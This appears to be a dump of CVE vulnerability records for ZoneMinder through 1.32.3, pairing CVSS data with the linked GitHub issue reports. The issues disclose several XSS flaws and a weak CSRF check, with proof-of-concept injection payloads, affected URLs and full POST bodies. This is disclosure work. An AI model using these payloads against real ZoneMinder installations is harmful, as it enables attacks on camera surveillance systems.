2019-02-04T19:29:00.943

Self - Stored XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'group' as it insecurely prints the 'Group Name' value on the web page without applying any proper filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2454" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2454

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `group`, insecurely displays the `Group name`, that is without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=group&gid=1&popup=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Inject the XSS payload into the `Name` field (window will be closed). - Now on the current window, click on the group name, popup will be opened & XSS payload would be triggered. <img width="406" alt="group" src="https://user-images.githubusercontent.com/47003572/51704836-0e371f00-2040-11e9-925c-0f4cd4f980d2.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Self - Stored Cross Site Scripting(XSS) - group.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2454/comments

0

2019-01-24T19:56:02Z

2019-02-09T22:06:20Z

https://github.com/ZoneMinder/zoneminder/issues/2454

402,870,845

2,454

CVE-2019-7339

2019-02-04T19:29:00.977

POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'level' parameter value in the view log (log.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2460" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2460

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The parameter value `level`, is displayed insecurely, without applying any proper output filtration leading to XSS **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - `browser[name]=chrome&browser[platform]=win&browser[version]=41&file=http://localhost/zm/?filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query] [terms][0][val]=19&level="><img src=x onerror=prompt('1');>&line=128&message=ReferenceError: Can't find variable: createPopup&page=1&request=log&task=create&view=events&view=request` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="686" alt="level" src="https://user-images.githubusercontent.com/47003572/51706543-c5359980-2044-11e9-9e80-264333dfa91d.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

POST - Reflected Cross Site Scripting(XSS) - log.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2460/comments

0

2019-01-24T20:29:35Z

2019-02-10T02:52:11Z

https://github.com/ZoneMinder/zoneminder/issues/2460

402,882,684

2,460

CVE-2019-7340

2019-02-04T19:29:01.007

POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'filter[Query][terms][0][val]' parameter value in the view filter (filter.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2462" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2462

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `filter`, insecurely displays the `filter[Query][terms][0][val]` parameter value, without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/?sort_asc=1&sort_field=StartTime&view=filter POST Data - `executeButton=&action=&filter[AutoArchive]=1&filter[AutoDelete]=1&filter[AutoExecute]=1&filter[AutoExecuteCmd]=0&filter[AutoMove]=1&filter[AutoMoveTo]=1&filter[AutoVideo]=1&filter[B [limit]=100&filter[Query][sort_asc]=1&filter[Query][sort_field]=Id&filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query][terms][0] [val]="><img src=x onerror=prompt('1');>&filter[UpdateDiskSpace]=1&Id=&object=filter` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="687" alt="filter 3" src="https://user-images.githubusercontent.com/47003572/51706993-17c38580-2046-11e9-840b-bd6cd260dffe.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

POST - Reflected Cross Site Scripting(XSS) - filter.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2462/comments

0

2019-01-24T20:39:09Z

2019-02-09T23:36:09Z

https://github.com/ZoneMinder/zoneminder/issues/2462

402,886,046

2,462

CVE-2019-7341

2019-02-04T19:29:01.053

Reflected - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[LinkedMonitors]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2463" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2463

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `monitor`, insecurely prints the `newMonitor[LinkedMonitors]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ``` view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]="><img src=x onerror=prompt('1');>&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&ne wMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]= 30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option# 1 is best, 51 is worst quality#crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N - %d/%m/%y %H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&n ewMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]=&newMonitor[Channel]=0&newMonitor[Format]=255&newMonito r[Palette]=0&newMonitor[V4LMultiBuffer]=0&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=720&newMonitor[Or ientation]=0&newMonitor[Deinterlacing]=0 ``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="802" alt="monitor" src="https://user-images.githubusercontent.com/47003572/51707562-8fde7b00-2047-11e9-860c-8ee92d06571c.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2463/comments

0

2019-01-24T20:50:25Z

2019-02-10T01:15:23Z

https://github.com/ZoneMinder/zoneminder/issues/2463

402,889,930

2,463

CVE-2019-7342

2019-02-04T19:29:01.100

POST - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'filter[AutoExecuteCmd]' parameter value in the view filter (filter.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2461" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2461

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `filter`, insecurely displays the `filter[AutoExecuteCmd]` parameter value, without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/?sort_asc=1&sort_field=StartTime&view=filter POST Data - `executeButton=&action=&filter[AutoArchive]=1&filter[AutoDelete]=1&filter[AutoExecute]=1&filter[AutoExecuteCmd]=${injectionpoint}$&filter[AutoMove]=1&filter[AutoMoveTo]=1&filter[Auto [limit]=100&filter[Query][sort_asc]=1&filter[Query][sort_field]=Id&filter[Query][terms][0][attr]=MonitorId&filter[Query][terms][0][op]==&filter[Query][terms][0] [val]=1&filter[UpdateDiskSpace]=1&Id=&object=filter` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="684" alt="filter 1" src="https://user-images.githubusercontent.com/47003572/51706694-468d2c00-2045-11e9-99ed-8895c33a578d.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

POST - Reflected Cross Site Scripting(XSS) - filter.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2461/comments

0

2019-01-24T20:33:09Z

2019-02-09T23:24:27Z

https://github.com/ZoneMinder/zoneminder/issues/2461

402,883,845

2,461

CVE-2019-7343

2019-02-04T19:29:01.133

Reflected - Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code via a vulnerable 'newMonitor[Method]' parameter value in the view monitor (monitor.php) because proper filtration is omitted.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2464" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2464

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `monitor`, insecurely prints the `newMonitor[Method]` value on the webpage, without applying any proper filtration, leading to Reflected XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ```view=monitor&tab=source&action=monitor&mid=0&newMonitor[LinkedMonitors]=&origMethod=v4l2&newMonitor[Name]=Monitor1766&newMonitor[ServerId]=&newMonitor[StorageId]=1&newMonitor[Type]=Local&newMonitor[Function]=Mocord&newMonitor[Enabled]=1&newMonitor[RefBlendPerc]=6&newMonitor[AlarmRefBlendPerc]=6&newMonitor[AnalysisFPSLimit]=&newMonitor[MaxFPS]=30&newMonitor[AlarmMaxFPS]=30&newMonitor[Triggers] []=&newMonitor[Protocol]=&newMonitor[Host]=&newMonitor[Port]=80&newMonitor[Options]=&newMonitor[Path]=&newMonitor[User]=&newMonitor[Pass]=&newMonitor[Save JPEGs]=0&newMonitor[VideoWriter]=1&newMonitor[EncoderParameters]=# Lines beginning with # are a comment # For changing quality, use the crf option# 1 is best, 51 is worst quality#crf=23&newMonitor[RecordAudio]=0&newMonitor[RTSPDescribe]=0&newMonitor[LabelFormat]=%N -%d/%m/%y%H:%M:%S&newMonitor[LabelX]=0&newMonitor[LabelY]=0&newMonitor[LabelSize]=1&newMonitor[ImageBufferCount]=20&newMonitor[WarmupCount]=0&newMonitor[PreEve ntCount]=0&newMonitor[PostEventCount]=5&newMonitor[StreamReplayBuffer]=0&newMonitor[AlarmFrameCount]=1&newMonitor[EventPrefix]=Event&newMonitor[SectionLength]=600&newMonitor[FrameSkip]=0&newMonitor[MotionFrameSkip]=0&newMonitor[AnalysisUpdateDelay]=0&newMonitor[FPSReportInterval]=100&newMonitor[DefaultView]=Events&newMonitor[DefaultRate]=100&newMonitor[DefaultScale]=100&newMonitor[WebColour]=red&newMonitor[Exif]=0&newMonitor[SignalCheckP oints]=10&newMonitor[SignalCheckColour]=#0000c0&newMonitor[Device]=/dev/video0&newMonitor[Method]="><img src=x onerror=prompt('1');>&newMonitor[Channel]=0&newMonitor[Format ]=255&newMonitor[Palette]=0&newMonitor[V4LMultiBuffer]=0&newMonitor[V4LCapturesPerFrame]=&newMonitor[Colours]=\&newMonitor[Width]=1280&newMonitor[Height]=72 0&newMonitor[Orientation]=0&newMonitor[Deinterlacing]=0``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="741" alt="monitor 1" src="https://user-images.githubusercontent.com/47003572/51707864-50645e80-2048-11e9-8e63-9b80ca5f8f2c.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - monitor.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2464/comments

0

2019-01-24T20:55:16Z

2019-02-10T01:01:57Z

https://github.com/ZoneMinder/zoneminder/issues/2464

402,891,608

2,464

CVE-2019-7344

2019-02-04T19:29:01.193

Reflected XSS exists in ZoneMinder through 1.32.3, allowing an attacker to execute HTML or JavaScript code in the view 'filter' as it insecurely prints the 'filter[Name]' (aka Filter name) value on the web page without applying any proper filtration.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2455" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2455

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `filter`, insecurely displays the `Filter name`, without applying any proper output filtration leading to XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php?view=filter&Id=1&action=&object=filter&filter[Name]="><img src=x onerror-prompt('1');>&filter[Query][terms][0][attr]=Archived&filter[Query][terms][0][op]=%3D&filter[Query][terms][0][val]=0&filter[Query][terms][1][cnj]=and&filter[Query][terms][1][attr]=DiskPercent&filter[Query][terms][1][op]=%3E%3D&filter[Query][terms][1][val]=95%22&filter[Query][sort_field]=Id&filter[Query][sort_asc]=1&filter[Query][limit]=100&filter[AutoExecuteCmd]=&filter[AutoDelete]=1&filter[AutoMoveTo]=&filter[Background]=1 Payload used - `"><img src=x onerror-prompt('1');>` - Navigate to the Affected URL, Payload would be triggered. <img width="505" alt="filter" src="https://user-images.githubusercontent.com/47003572/51705072-a92ff900-2040-11e9-88c0-30695bc03d17.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting(XSS) - filter.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2455/comments

0

2019-01-24T19:59:50Z

2019-02-09T23:19:34Z

https://github.com/ZoneMinder/zoneminder/issues/2455

402,872,208

2,455

CVE-2019-7345

2019-02-04T19:29:01.257

Self - Stored Cross Site Scripting (XSS) exists in ZoneMinder through 1.32.3, as the view 'options' (options.php) does no input validation for the WEB_TITLE, HOME_URL, HOME_CONTENT, or WEB_CONSOLE_BANNER value, allowing an attacker to execute HTML or JavaScript code. This relates to functions.php.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2468" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2468

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** The view `options`, does no input validation to the value supplied to `WEB_TITLE`, `HOME_URL`, `HOME_CONTENT`, `WEB_CONSOLE_BANNER` field & processes it further storing the value into the database without any prior filtration, leading to stored XSS. **To Reproduce** Affected URL : http://localhost/zm/index.php POST Data - ``` view=options&tab=web&action=options&newConfig[ZM_WEB_TITLE]=${Injectionpoint}$&newConfig[ZM_WEB_TITLE_PREFIX]=aa&newConfig[ZM_HOME_URL]=${Injectionpoint }$&newConfig[ZM_HOME_CONTENT]="><img src=x onerror=prompt('1');>&newConfig[ZM_WEB_CONSOLE_BANNER]=${Injectionpoint}$&newConfig[ZM_WEB_RESIZE_CONSOLE]=1&newConfig[ ZM_WEB_POPUP_ON_ALARM]=1&newConfig[ZM_WEB_ALARM_SOUND]=&newConfig[ZM_WEB_EVENT_SORT_FIELD]=DateTime&newConfig[ZM_WEB_EVENT_SORT_ORDER]=as c&newConfig[ZM_WEB_EVENTS_PER_PAGE]=25&newConfig[ZM_WEB_LIST_THUMB_WIDTH]=48&newConfig[ZM_WEB_LIST_THUMB_HEIGHT]=0&newConfig[ZM_WEB_USE_OB JECT_TAGS]=1&newConfig[ZM_WEB_XFRAME_WARN]=1&newConfig[ZM_WEB_FILTER_SOURCE]=Hostname ``` Payload used - `"><img src=x onerror=prompt('1');>` - Navigate to the Affected URL, `WEB_TITLE`, `HOME_URL`, `HOME_CONTENT`, `WEB_CONSOLE_BANNER` will beset with the Payload & get triggered. <img width="800" alt="web" src="https://user-images.githubusercontent.com/47003572/51709531-a63b0580-204c-11e9-8624-a550db9d2db1.png"> **Expected behavior** - Proper escaping of special characters. **Debug Logs** ``` None ```

Reflected Cross Site Scripting (XSS) - functions.php

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2468/comments

0

2019-01-24T21:25:49Z

2019-02-10T02:06:43Z

https://github.com/ZoneMinder/zoneminder/issues/2468

402,902,186

2,468

CVE-2019-7346

2019-02-04T19:29:01.287

A CSRF check issue exists in ZoneMinder through 1.32.3 as whenever a CSRF check fails, a callback function is called displaying a "Try again" button, which allows resending the failed request, making the CSRF attack successful.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/ZoneMinder/zoneminder/issues/2469" } ]

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https://github.com/ZoneMinder/zoneminder/issues/2469

[ "Exploit", "Third Party Advisory" ]

github.com

[ "ZoneMinder", "zoneminder" ]

**Describe Your Environment** - ZoneMinder v1.33.1 - Installed from - ppa:iconnor/zoneminder-master **Describe the bug** `Try again` button in callback function - Whenever a CSRF check fails,a callback function is called displaying a fail message. Unfortunately there also exists an "Try again" button on the page, which allows to resend the failed request, making the attack successful. **To Reproduce** <img width="619" alt="csrf" src="https://user-images.githubusercontent.com/47003572/51709967-dc2cb980-204d-11e9-8f08-d139d7d2c95f.png"> **Expected behavior** This allows an attacker to easily carry out the CSRF attack. Normally users are not too technical to understand what CSRF failure message is & would generally click on "Try Again", themselves making the attack successful. **Debug Logs** ``` None ```

Weak Cross-site Resource Forgery(CSRF) Protection

https://api.github.com/repos/ZoneMinder/zoneminder/issues/2469/comments

0

2019-01-24T21:36:28Z

2019-02-10T06:40:12Z

https://github.com/ZoneMinder/zoneminder/issues/2469

402,905,892

2,469

CVE-2019-7347

2019-02-04T19:29:01.337

